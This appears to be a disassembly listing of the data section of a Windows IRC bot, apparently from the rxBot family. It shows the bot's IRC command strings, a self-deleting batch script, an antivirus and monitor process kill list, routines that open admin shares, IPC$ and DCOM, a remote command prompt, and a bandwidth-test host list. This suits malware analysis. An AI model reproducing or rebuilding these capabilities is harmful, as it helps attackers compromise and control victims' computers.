dword_43873C	dd 4Ch			; DATA XREF: ___:00437C9Co
dword_438740	dd 4Bh			; DATA XREF: ___:00437C98o
dword_438744	dd 4Ah			; DATA XREF: ___:00437C94o
dword_438748	dd 48h			; DATA XREF: ___:00437C90o
dword_43874C	dd 47h			; DATA XREF: ___:00437C8Co
dword_438750	dd 46h			; DATA XREF: ___:00437C88o
					; ___:00438000o
dword_438754	dd 44h			; DATA XREF: ___:00437C84o
dword_438758	dd 53h			; DATA XREF: ___:00437C80o
dword_43875C	dd 50h			; DATA XREF: ___:00437C78o
dword_438760	dd 4Fh			; DATA XREF: ___:00437C74o
dword_438764	dd 55h			; DATA XREF: ___:00437C6Co
word_438768	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C68o
		align 4
dword_43876C	dd 54h			; DATA XREF: ___:00437C64o
dword_438770	dd 52h			; DATA XREF: ___:00437C60o
dword_438774	dd 45h			; DATA XREF: ___:00437C5Co
dword_438778	dd 57h			; DATA XREF: ___:00437C58o
dword_43877C	dd 51h			; DATA XREF: ___:00437C54o
dword_438780	dd 62h			; DATA XREF: ___:00437C48o
					; ___:00437F3Co ...
dword_438784	dd 78h			; DATA XREF: ___:00437C3Co
dword_438788	dd 7Ah			; DATA XREF: ___:00437C38o
dword_43878C	dd 6Ch			; DATA XREF: ___:00437C34o
dword_438790	dd 68h			; DATA XREF: ___:00437C28o
dword_438794	dd 67h			; DATA XREF: ___:00437C24o
dword_438798	dd 66h,	79h, 77h	; DATA XREF: ___:00437C20o
dword_4387A4	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387B0	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387B4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_43892C	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_438984	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389A0	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389A4	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389A8	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A14h, 438A0Ch,	2, 438A00h, 4389F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004389D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004389D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389BCo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389A0o
unk_438A68	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438A8C	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438AB8	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43900C	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439030	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43904C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439098	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_4390F8	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439120	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439150	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439170	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43932C	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439360	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439668	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439694	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396C0	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397C8
		dd offset dword_4397BC
		dd offset dword_4397B0
		dd offset dword_4397A4
		dd offset dword_439798
		dd offset dword_43978C
		dd offset dword_43977C
		dd offset dword_439770
		dd offset dword_439764
		dd offset dword_439758
		dd offset dword_43974C
		dd offset dword_43973C
		dd offset dword_439730
		dd offset dword_439720
dword_439720	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043971Co
dword_439730	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o
dword_43973C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439714o
dword_43974C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439710o
dword_439758	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co
dword_439764	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o
dword_439770	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o
dword_43977C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439700o
dword_43978C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:004396FCo
dword_439798	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:004396F8o
dword_4397A4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:004396F4o
dword_4397B0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:004396F0o
dword_4397BC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:004396ECo
dword_4397C8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:004396E8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:004396DCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:004396D8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:004396D4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:004396D0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396CCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396C8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396C4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396C0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_439878	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43989C	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_4398C0	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439920	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439948	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_439978	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399AC	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_4399D0	dd offset dword_439A08	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		dd 0
		dd offset dword_439A00
		align 10h
off_4399E0	dd offset dword_4399FC	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_4399F8
		dd offset dword_4399F4
		dd offset dword_4399F0
dword_4399F0	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:004399ECo
dword_4399F4	dd 2444h		; DATA XREF: ___:004399E8o
dword_4399F8	dd 5C3A43h		; DATA XREF: ___:004399E4o
dword_4399FC	dd 2443h		; DATA XREF: ___:off_4399E0o
dword_439A00	dd 494D4441h, 244Eh	; DATA XREF: ___:004399D8o
dword_439A08	dd 24435049h, 0		; DATA XREF: ___:off_4399D0o
dword_439A10	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439A40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439A68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439A94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439AB8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439AE4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439B08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439B74	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439BA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_439BF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C28	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_439C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439CF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D2C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DA4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DC0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_439E18	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
